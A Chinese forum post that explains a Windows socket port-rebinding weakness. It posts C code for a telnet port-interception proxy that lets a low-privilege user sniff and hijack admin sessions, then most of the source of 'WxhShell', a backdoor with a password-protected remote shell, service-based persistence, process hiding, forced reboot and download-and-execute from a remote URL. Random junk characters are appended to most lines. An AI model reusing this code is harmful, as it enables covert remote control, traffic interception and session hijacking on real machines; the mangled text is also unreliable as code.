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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t;ggc{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nh,N (t 9  
QT?fp >'  
  saddr.sin_family = AF_INET; py@5]n%  
V. :imj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |'1[\<MM3  
whxE[Xnv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :? yv0Iu  
t0Ec` +)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8 =J6{{E  
b9`MUkGGd  
  这意味着什么?意味着可以进行如下的攻击: /Nb&e  
Ql#:Rx>b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <Gs)~T#'  
#;2Ju'e#z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F) < f8F  
|67<h5Q1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aBol9`6  
u[ "Pg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O@?? NF6G  
Q%q_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a?&oOQd-iP  
jC<<S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [u/g =^+u  
wnha c}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #OH# &{H  
wrw~J  
  #include (g4.bbEm  
  #include tAc[r)xFw  
  #include VA.:'yQtJ  
  #include    9cX ~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [2.pZB  
  int main() }-YD_Pm K-  
  { (&+ ~hW5d  
  WORD wVersionRequested; WE68a!6  
  DWORD ret; ~h  tV*R  
  WSADATA wsaData; YD7i6A  
  BOOL val; bU(t5 [  
  SOCKADDR_IN saddr; :Uj+iYE8Z8  
  SOCKADDR_IN scaddr; :!'aP\uE  
  int err; l[L\|hv'n  
  SOCKET s; vgo-[^FiP$  
  SOCKET sc; *A;~~ SQ  
  int caddsize; uZ\ >  
  HANDLE mt; 7bCTR2e\@w  
  DWORD tid;   ko $bCG%  
  wVersionRequested = MAKEWORD( 2, 2 ); F=$2Gz 'RT  
  err = WSAStartup( wVersionRequested, &wsaData ); 2*F["E  
  if ( err != 0 ) { b.Z K1  
  printf("error!WSAStartup failed!\n"); fA2H8"r  
  return -1; Xc"S"a^\%  
  } ]aXCi"fMs  
  saddr.sin_family = AF_INET; Cd"O'<^Sb  
   -Q<3Q_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8L9xP'[^  
rwv_ RN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `GUj.+u  
  saddr.sin_port = htons(23); w91{''sK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z2A7:[  
  { VfAIx]Fa  
  printf("error!socket failed!\n"); vZq7U]RW  
  return -1; &d[&8V5S  
  } )g(2xUk-y  
  val = TRUE; i/NY86A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -r_z,h|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5E+l5M*(  
  { ;.'2ZNt2  
  printf("error!setsockopt failed!\n"); v%VCFJ  
  return -1; LK)0g4{  
  } /E@LnKe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #3f\,4K5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o{(-jhR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z; r}G m  
tE/j3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'd D d9  
  { ~^UQw? ;  
  ret=GetLastError(); O\q|b#q}/  
  printf("error!bind failed!\n"); p>96>7w  
  return -1; ac p-4g+j  
  } %19TJn%J$  
  listen(s,2); O|O#T.Tg  
  while(1) B!jT@b{  
  { W+Z] Y  
  caddsize = sizeof(scaddr); H :}|UW  
  //接受连接请求 h?p&9[e`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X25cU{  
  if(sc!=INVALID_SOCKET) wBTnI>l9[  
  { J'sVT{@GS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @f-0OX$*  
  if(mt==NULL) fpwge/w  
  { #6[FGM  
  printf("Thread Creat Failed!\n"); _8)9I?jH  
  break; _S7GkpoK  
  } 9?:SxI;v  
  } (x2I*<7P  
  CloseHandle(mt); Q|rrbxb  
  } Ratg!l|'-  
  closesocket(s); f`*Ip?V-  
  WSACleanup(); qY]IX9'kV  
  return 0; B5hk]=Ud  
  }   ~Y<x-)R  
  DWORD WINAPI ClientThread(LPVOID lpParam) w^sM,c5d  
  { X!2/cgU7  
  SOCKET ss = (SOCKET)lpParam;  =P\H}?PF  
  SOCKET sc; 1tHTjEG4^3  
  unsigned char buf[4096]; _fz-fG 1  
  SOCKADDR_IN saddr; !n~p?joJ*  
  long num; -)(HG)3  
  DWORD val; {x40W0  
  DWORD ret; 5 5>^H1M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |tC!`.^\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LGGC=;{}  
  saddr.sin_family = AF_INET; v?F~fRH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^CX=<  
  saddr.sin_port = htons(23); c~[L ;_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r5t C  
  { (0g@Z `r  
  printf("error!socket failed!\n"); *aT3L#0(  
  return -1; pPem;i^~  
  } xw(KSPN  
  val = 100; X!V@jo9?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SxcNr5F   
  { SsiAyQ|Ma  
  ret = GetLastError(); Z6\OkD  
  return -1; Q9=X|  
  } {.v-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f5<qF ]Y/  
  { USy^Y?~ ;  
  ret = GetLastError(); DfgqB3U[  
  return -1; ^5x\cR  
  } xH!{;i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Wg9q_Ql  
  { 1nhC! jDD  
  printf("error!socket connect failed!\n"); 4zX@TI>j  
  closesocket(sc); zL$$G,  
  closesocket(ss); ,{MA90!  
  return -1; `O ?61YUQH  
  } gF+Uj( d  
  while(1) !%>p;H%0  
  { PB*m D7"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3Z;`n,g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p"EQ6_f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DyIuM{Owj  
  num = recv(ss,buf,4096,0); ue@ fry  
  if(num>0) |fkz=*rn  
  send(sc,buf,num,0); #?-2f{  
  else if(num==0) . S4Xw2MS  
  break; (9$z+Zmm?  
  num = recv(sc,buf,4096,0); MX2 Zm  
  if(num>0) q'9u8b  
  send(ss,buf,num,0); =Bu> }$BD  
  else if(num==0) *P]FX-D3  
  break; |{]W (/  
  } i;>Yx#  
  closesocket(ss); 60(j[d-$p  
  closesocket(sc); 6OuB}*  
  return 0 ; E-\Wo3  
  } "u:5  
v#J 2yg  
pLi_)(#z_  
========================================================== #e:cB'f  
b:VCr^vp  
下边附上一个代码,,WXhSHELL 77?/e^K\S  
xsn2Qn/P  
========================================================== ;DbEP.%u$  
( `T;nz  
#include "stdafx.h" #InuN8sI  
2>3#/I9Y  
#include <stdio.h> +j Z,vKr  
#include <string.h> 6V)P4ao  
#include <windows.h> J3`a}LyDf  
#include <winsock2.h> 5'>DvCp%M  
#include <winsvc.h> ,xmmS\  
#include <urlmon.h> VJquB8?H  
y}Ji( q~  
#pragma comment (lib, "Ws2_32.lib") 1h_TG.YL9>  
#pragma comment (lib, "urlmon.lib") MHNuA,cz  
91'i7&~xdG  
#define MAX_USER   100 // 最大客户端连接数 KG7 ~)g  
#define BUF_SOCK   200 // sock buffer +ve S~   
#define KEY_BUFF   255 // 输入 buffer oZm)@Vv;  
~.\CG'g  
#define REBOOT     0   // 重启 u*LMpTnn  
#define SHUTDOWN   1   // 关机 ;>YLL}]j  
@$o.Z;83`r  
#define DEF_PORT   5000 // 监听端口 &/o4R:i  
fg"]4&`j-  
#define REG_LEN     16   // 注册表键长度 +P YX.  
#define SVC_LEN     80   // NT服务名长度 mcbvB5U  
=GH>-*qp  
// 从dll定义API ((OQs.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /o@6? UH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2ZUI~:U Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jD]Ci#|W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Wv -olv  
(SMnYh4  
// wxhshell配置信息 zM:&`6;e  
struct WSCFG { 5,Rxc=  
  int ws_port;         // 监听端口 PX!$w*q  
  char ws_passstr[REG_LEN]; // 口令 gt]k#(S  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZbBz@1O  
  char ws_regname[REG_LEN]; // 注册表键名 cP8g. +  
  char ws_svcname[REG_LEN]; // 服务名 SLI(;, s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /Mq9~oC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }.`no  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [{R^!Az&b<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  rvP Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .tRp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?w/i;pp<,  
V\Q=EsHj   
}; CYkU-  
B8J_^kd  
// default Wxhshell configuration 7T7 A\  
struct WSCFG wscfg={DEF_PORT, l=+hs  
    "xuhuanlingzhe", aYy+iP'$  
    1, ~1xfE C/  
    "Wxhshell", ( x)}k&B;  
    "Wxhshell", <V?csx/eRd  
            "WxhShell Service", @-B)a Z  
    "Wrsky Windows CmdShell Service",  al#BfcZW  
    "Please Input Your Password: ", =17d7#-  
  1, 0<ze'FbV]  
  "http://www.wrsky.com/wxhshell.exe", 04o>POR  
  "Wxhshell.exe" YCMXF#1  
    }; G#uD CF,O  
(*6kYkUK  
// 消息定义模块 v*Dz4K#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7dxe03h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ohLM9mc9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,#/%Fn%T  
char *msg_ws_ext="\n\rExit."; ERka l7+  
char *msg_ws_end="\n\rQuit."; LpV2XL$p>#  
char *msg_ws_boot="\n\rReboot..."; /J@<e{&t~  
char *msg_ws_poff="\n\rShutdown...";  Vv|%;5(  
char *msg_ws_down="\n\rSave to "; <I 5F@pe'  
w; rQ\gj  
char *msg_ws_err="\n\rErr!"; &|]GTN`E  
char *msg_ws_ok="\n\rOK!"; C0O$iWs=  
)s-[d_g  
char ExeFile[MAX_PATH]; %?sPKOh3N}  
int nUser = 0; q7#4e?1  
HANDLE handles[MAX_USER]; g]$e-X@k  
int OsIsNt; +mu.W r  
|XGj97#M  
SERVICE_STATUS       serviceStatus; S1vUP5cZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -e2f8PV?3  
L <QjkFj  
// 函数声明 e9\eh? bPU  
int Install(void); ,`Yx(4!rR  
int Uninstall(void); o&U'zaj  
int DownloadFile(char *sURL, SOCKET wsh); )G+D6s23  
int Boot(int flag); dQ.:xu}~  
void HideProc(void); (=\))t8J  
int GetOsVer(void); %tK^&rw%  
int Wxhshell(SOCKET wsl); `T#Jiq E  
void TalkWithClient(void *cs); 7M.TLV!f]  
int CmdShell(SOCKET sock); A )q=.C#e  
int StartFromService(void); f)_k_<  
int StartWxhshell(LPSTR lpCmdLine); g6D7Y<}d  
l b9O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); > r %:!o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |XrGf2P9u  
Jn\@wF9xd  
// 数据结构和表定义 YqQAogy h  
SERVICE_TABLE_ENTRY DispatchTable[] = O)FkpZc@9c  
{ evQk,;pIm  
{wscfg.ws_svcname, NTServiceMain}, =JW.1;  
{NULL, NULL} E*"-U!?)l2  
}; cVYPPal  
}+/F?_I= %  
// 自我安装 "AuU5G 9'I  
int Install(void) C#l9MxZE  
{ )a=FhSB[G  
  char svExeFile[MAX_PATH]; 4 (>8tP\Y  
  HKEY key; hy}n&h  
  strcpy(svExeFile,ExeFile); n/ CP2A  
SHA6;y+U/~  
// 如果是win9x系统,修改注册表设为自启动 6uu49x_^L4  
if(!OsIsNt) { ^1\[hyZ!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hpBn_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A+QOox]<  
  RegCloseKey(key); Io*mFa?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b/]@G05>>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1nZ7xCDK98  
  RegCloseKey(key); 4qKMnYR  
  return 0; aYmN' POi  
    } )e?6 Ncy  
  } 6j6P&[  
} X[E!q$ag  
else { m\"X%Y#  
na`8ulN_  
// 如果是NT以上系统,安装为系统服务 4_KRH1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FdE9k\E#/)  
if (schSCManager!=0) G0mvrc-(  
{ m`!Vryf  
  SC_HANDLE schService = CreateService D>6vI  
  ( s~b!3l`gu  
  schSCManager, @|;XDO`k;  
  wscfg.ws_svcname, rx\f:-3g  
  wscfg.ws_svcdisp, '{F Od_uk%  
  SERVICE_ALL_ACCESS, VthM`~3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PBY;S G ~  
  SERVICE_AUTO_START, SrT=XX,  
  SERVICE_ERROR_NORMAL, V }wh  
  svExeFile, p9Y`_g`  
  NULL, `]$H\gNI[8  
  NULL, +9NI=s6  
  NULL, R-]i BL  
  NULL, _s~F/G`iT  
  NULL +*=?0\  
  );  KrqO7  
  if (schService!=0) #+SdX[ N  
  { 5X}OUn8  
  CloseServiceHandle(schService); Dy|DQ>?}  
  CloseServiceHandle(schSCManager); Q39;bz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w<m e(!-'  
  strcat(svExeFile,wscfg.ws_svcname); b l]YPx8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <;q)V%IUz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gMB/ ~g5b0  
  RegCloseKey(key); PESJ7/^E  
  return 0; Y}hz UKJ  
    } hB1Gtc4n  
  } I`KBj6n  
  CloseServiceHandle(schSCManager); G_5E#{u  
} 1vL$k[^&d  
} x67,3CLy?  
)A*Sl2ew  
return 1; ?t"bF:!  
} n1@ Or=5  
oh%/\Xu  
// 自我卸载 1g1gu=|Q  
int Uninstall(void) B[{Ie G'  
{ ;o?Wn=J  
  HKEY key; | X0Ys8f  
I%# e\  
if(!OsIsNt) { n,o;:c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O#@KP"8  
  RegDeleteValue(key,wscfg.ws_regname); J%ue{PL7  
  RegCloseKey(key); Ku<_N]9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &k0c|q]  
  RegDeleteValue(key,wscfg.ws_regname); zE_t(B(Q  
  RegCloseKey(key); gLQbA$gB  
  return 0; ~\~XD+jy"  
  } *h Bo,   
} d A' h7D  
} xx EcmS#>  
else { 5:x .<  
#7dM %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BGZvgMxLJ  
if (schSCManager!=0) /u N3"m5i  
{ 7).zed^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RWK##VHK  
  if (schService!=0) K$Yc!4M  
  { u9^R ?y  
  if(DeleteService(schService)!=0) { ^bckl tSo  
  CloseServiceHandle(schService); ]J6+nA6)  
  CloseServiceHandle(schSCManager); bmu<V1[W  
  return 0; ,';+A{aV  
  } bcy( ?(  
  CloseServiceHandle(schService); C@q&0\HN  
  } Gj(UA1~1  
  CloseServiceHandle(schSCManager); ICI8xP}a?  
} * S>,5R0k  
} fP 5!`8  
?.&?4*u  
return 1; wfc[B;K\  
} oO)KhA?y  
s7#|'jhZt  
// 从指定url下载文件 DozC>  
int DownloadFile(char *sURL, SOCKET wsh) uyDYS  
{ 4!r> ^a  
  HRESULT hr; q'p>__Ox  
char seps[]= "/"; Ch9A6?=Hj8  
char *token; )B' U_*  
char *file; `O/RNMaC  
char myURL[MAX_PATH]; m K@a7fF?  
char myFILE[MAX_PATH]; v__;oqN0  
dj0`Q:VZ  
strcpy(myURL,sURL); /@\3#2;  
  token=strtok(myURL,seps); 3((53@s98  
  while(token!=NULL) Y)X58_En  
  { )iG+pP@.@  
    file=token; K\GIh8L  
  token=strtok(NULL,seps); 5"JnJH  
  } x uDn:  
e`Z3{H}  
GetCurrentDirectory(MAX_PATH,myFILE); H9Pe,eHs  
strcat(myFILE, "\\"); 1yIo 'i1  
strcat(myFILE, file); =7Y gES  
  send(wsh,myFILE,strlen(myFILE),0); 4$+9k;m'  
send(wsh,"...",3,0); <AB.`["  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T6ZJSKM  
  if(hr==S_OK) ,-XJ@@2gM  
return 0; t(:6S$6{e  
else e[@ ^UY  
return 1; 2)^[SpZ  
6c>tA2G|8  
} !OJSQB,  
'k9hzk(*  
// 系统电源模块 ;Q.g[[J/p  
int Boot(int flag) {@u}-6:wAT  
{ m 5NF)eL  
  HANDLE hToken; ;,h*s, i  
  TOKEN_PRIVILEGES tkp; IBzHXa>75  
ptmPO4f  
  if(OsIsNt) { Ueyt}44.e2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IK6XJsz$J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4l?98  
    tkp.PrivilegeCount = 1; _u:4y4}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3&@MZF&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AOaf,ZF 8  
if(flag==REBOOT) {  N>Pufr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \g}FoN&  
  return 0; @zJ#16V i  
} ku'%+svD  
else { XabrX|B#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o/fq  
  return 0; 6zLz<p?  
} ~QsQ7SAs  
  } ::vw 1Es  
  else { 4[!&L:tR  
if(flag==REBOOT) { ~5wCehSb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7}r!%<^  
  return 0; `q exEk@S  
} NC vwg  
else { % KY&E>^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dg#Ab8  
  return 0; b['TRYc=:  
} ,9#G/nF  
} k- sbZL  
" I@Z:[=2  
return 1; ^U_B>0`ch  
} $XI5fa4Tt  
pKMf#)qm  
// win9x进程隐藏模块 7@vc Qv kC  
void HideProc(void) *k'9 %'<  
{ @ec QVk  
%'* |N [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .@APxeU  
  if ( hKernel != NULL ) 7Hpsmfm  
  { ){>;eky  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~pj9_I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); US7hKNm.  
    FreeLibrary(hKernel); _jZDSz|Yb  
  } -lMC{~h\(S  
nwN<Q\]S  
return; KX<RD|=  
} jVRd[  
X2i<2N*@  
// 获取操作系统版本 eS@RA2  
int GetOsVer(void) mc(&'U8R0I  
{ YQN=.Wtc  
  OSVERSIONINFO winfo; \lR~!6:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =WEfo;  
  GetVersionEx(&winfo); ;gm){ g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &r<<4J(t  
  return 1; 8`VMdo9  
  else ]hvB-R16f  
  return 0; +nMgQOs  
} #K*d:W3C  
+d6E)~qKL  
// 客户端句柄模块 G)43Y!  
int Wxhshell(SOCKET wsl) v:6b&wS L3  
{ EmY4>lr  
  SOCKET wsh; O~,^x$v e  
  struct sockaddr_in client; X\%],"9%  
  DWORD myID; \Y!Z3CK  
{.,OPR"\  
  while(nUser<MAX_USER) ydns_Z  
{ #zy,x  
  int nSize=sizeof(client); _-8,}F}W#s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g'Xl>q  
  if(wsh==INVALID_SOCKET) return 1; c= a+7>  
C#I),LE|d{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;#~ !`>n?  
if(handles[nUser]==0) &`TX4b^/!  
  closesocket(wsh); =_yOX=g|  
else N%B#f\N  
  nUser++; 8:&@MZQ&!  
  } TVFGonVY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %okEN !=  
sa#"@j)  
  return 0; ,+X8?9v  
} c~RIl5j  
x:2[E-  
// 关闭 socket iqoPD4A  
void CloseIt(SOCKET wsh) N l@Hx  
{ t'Q48QAb?  
closesocket(wsh); _ _)Z Q  
nUser--; C6P6hJm  
ExitThread(0); [U jbox  
} |\_O8=B%  
7>ODaj   
// 客户端请求句柄 ;c>Yr ?^  
void TalkWithClient(void *cs) kcYR:;y  
{ M}5C;E*  
gN]`$==c[  
  SOCKET wsh=(SOCKET)cs; MW$9,[  
  char pwd[SVC_LEN]; )@Zel.XD  
  char cmd[KEY_BUFF]; "7<4NV@yQ  
char chr[1]; X&lkA (  
int i,j; ,!Hl@(  
#SqOJX~Q  
  while (nUser < MAX_USER) { 9xKFX|*$  
f(_qcgXp  
if(wscfg.ws_passstr) { ]Pd*w`R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1OGlD+f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfO0^^"  
  //ZeroMemory(pwd,KEY_BUFF); uyA9`~p=#  
      i=0; #* Hhe>  
  while(i<SVC_LEN) { gvU6p[D  
+.R-a+y3  
  // 设置超时 8p211MQ<  
  fd_set FdRead; c"z%AzUV'  
  struct timeval TimeOut; 9/%|#b-z  
  FD_ZERO(&FdRead); N4Lk3]  
  FD_SET(wsh,&FdRead); iK#{#ebAoW  
  TimeOut.tv_sec=8; T5Fah#-4  
  TimeOut.tv_usec=0; hW},%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'RA[_Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e!-'O0-Kw  
HIU@m<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |-|BM'Y  
  pwd=chr[0]; A |&EI-In  
  if(chr[0]==0xd || chr[0]==0xa) { VC+\RB#:-  
  pwd=0; 1Jd:%+T  
  break; YG8oy!Zl  
  } g/@CESfm'  
  i++; 67g/(4&  
    } qQ_B[?+W  
i Bi/9  
  // 如果是非法用户,关闭 socket L9kP8&&KK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0PfFli`2;  
} @<PL  
4Oy c D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _YJwF1e+M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NWpRzh8$u  
j>T''T f  
while(1) { !^7:Rr _  
[Vf|4xcD  
  ZeroMemory(cmd,KEY_BUFF); m88~+o<G%  
Rk=B;  
      // 自动支持客户端 telnet标准   q38; w~H  
  j=0; )6j:Mbz   
  while(j<KEY_BUFF) { < 9MnQ*@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9C.cz\E  
  cmd[j]=chr[0]; /f[_]LeV]  
  if(chr[0]==0xa || chr[0]==0xd) { 8vRiVJ8QS:  
  cmd[j]=0; lrE0)B5F  
  break; F,zJdJ  
  } |<V{$),k  
  j++; 9mnON~j5  
    } |l|]Tw  
w-"&;klV  
  // 下载文件 eXd(R>Mx  
  if(strstr(cmd,"http://")) { q- Qws0\v.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4_Jdh48-d  
  if(DownloadFile(cmd,wsh)) CQ`(,F3(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J53;w:O  
  else hJ<2bgQo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @CmxH(-i-  
  } ws=TR  
  else { }B- A*TI<h  
Dpd$&Wr0Y  
    switch(cmd[0]) { UE4#j \  
  pUr[MnQLf  
  // 帮助 7" [;M  
  case '?': { fz&}N`n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;x#>J +QlG  
    break; A-io-P7qyj  
  } NIfc/%  
  // 安装 #dft-23  
  case 'i': { JK(&E{80  
    if(Install()) $VA4% 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6S<$7=$ =  
    else 6bGD8 ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kv]6 b2HT  
    break; ,7(/Il9  
    } `O{Uz?#*x  
  // 卸载 $-RhCnE  
  case 'r': { 9zyN8v2  
    if(Uninstall()) *K(xES! b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1I`D$Xq~:  
    else 07|NPS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<LavX>F  
    break; %&XX*& q  
    }  kTz  
  // 显示 wxhshell 所在路径 oc(bcU  
  case 'p': { rd)) H  
    char svExeFile[MAX_PATH]; WGmCQE[/c  
    strcpy(svExeFile,"\n\r"); CnH R&`  
      strcat(svExeFile,ExeFile); o FLrSmY)E  
        send(wsh,svExeFile,strlen(svExeFile),0); 1aE/_  
    break; q UnFEg  
    } arP+(1U  
  // 重启 pqSE|3*l  
  case 'b': { 1,T9HpM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u B\& Q;  
    if(Boot(REBOOT)) l8-jFeeMd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k)py\  
    else { `<zb  
    closesocket(wsh); .F2nF8  
    ExitThread(0); 9pcf jx..  
    } d_+8=nh3  
    break; C]fTV{  
    } )^N8L<   
  // 关机 VK;x6*Y  
  case 'd': { 0UJ`<Bfd  
